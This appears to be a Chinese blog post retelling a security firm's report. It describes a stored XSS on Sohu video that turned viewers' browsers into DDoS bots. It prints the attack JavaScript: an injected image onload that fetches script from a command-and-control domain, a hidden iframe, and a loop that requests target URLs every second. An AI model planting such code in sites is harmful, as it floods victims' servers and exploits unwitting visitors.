XSS攻击：SOHU视频XSS漏洞导致其用户成为DDOS肉鸡

xss又叫css (cross site script)

,跨站脚本攻击。恶意攻击者往web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。

from:http://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html 

incapsula发现其一个客户遭受了应用层的ddos攻击。 

大概有22000的互联网用户对其网站发起了2000万的get请求。 

该攻击是利用的一个持久性xss，通过找到一个访问量很大网站的xss，在其网站上插入一段js代码，当其用户访问网站之后，就可以利用该网站的用户对其受害者发起攻击。 

几种示例代码： 

<code>// javascript injection in &lt;img&gt; tag enabled by persistent xss  &lt;img src="/imagename.jpg" onload="$.getscript(‘http://c&amp;cdomain.com/index.html‘)" /&gt;  // malicious javascript opens hidden &lt;iframe&gt;  function ddos(url) {  $("body").append("&lt;iframe id=‘ifr11323‘ style=‘display:none;‘ src=‘http://c&amp;cdomain.com/index.html‘&gt;&lt;/iframe&gt;"); }  // ajax ddos tool in executes get request every second  &lt;html&gt;&lt;body&gt;  &lt;h1&gt;iframe&lt;/h1&gt;  &lt;script&gt;  ddos(‘http://www.target1.com/1.jpg‘, ‘http://www.target2.com/1.jpg‘);  function ddos(url,url2){    window.setinterval(function (){      $.getscript(url);      $.getscript(url2);        },1000)  }  &lt;/script&gt;  &lt;/body&gt;&lt;/html&gt;</code>

这种攻击方式在找到访问量巨大的视频网站的xss之后，非常好用，因为一般的视频时间不短，这样访问者在访问视频网站观看视频的时间段内，就不知不觉的成为攻击者的工具对其受害者网站不断的发送请求。 

此次被利用的是sohu视频，全球网站流量排名27，可在视频区域插入xss代码，控制观看该视频的用户对受害者不断的发送请求。 

注：攻击的效果就是每秒都请求一次url和url2指定的连接，如果一段视频30分钟，那么每个用户都能在看视频这段时间内向两个目标分别发出 1800 次无意义的攻击请求（如cc），如果是成千上万的人看个热门视频的话。。。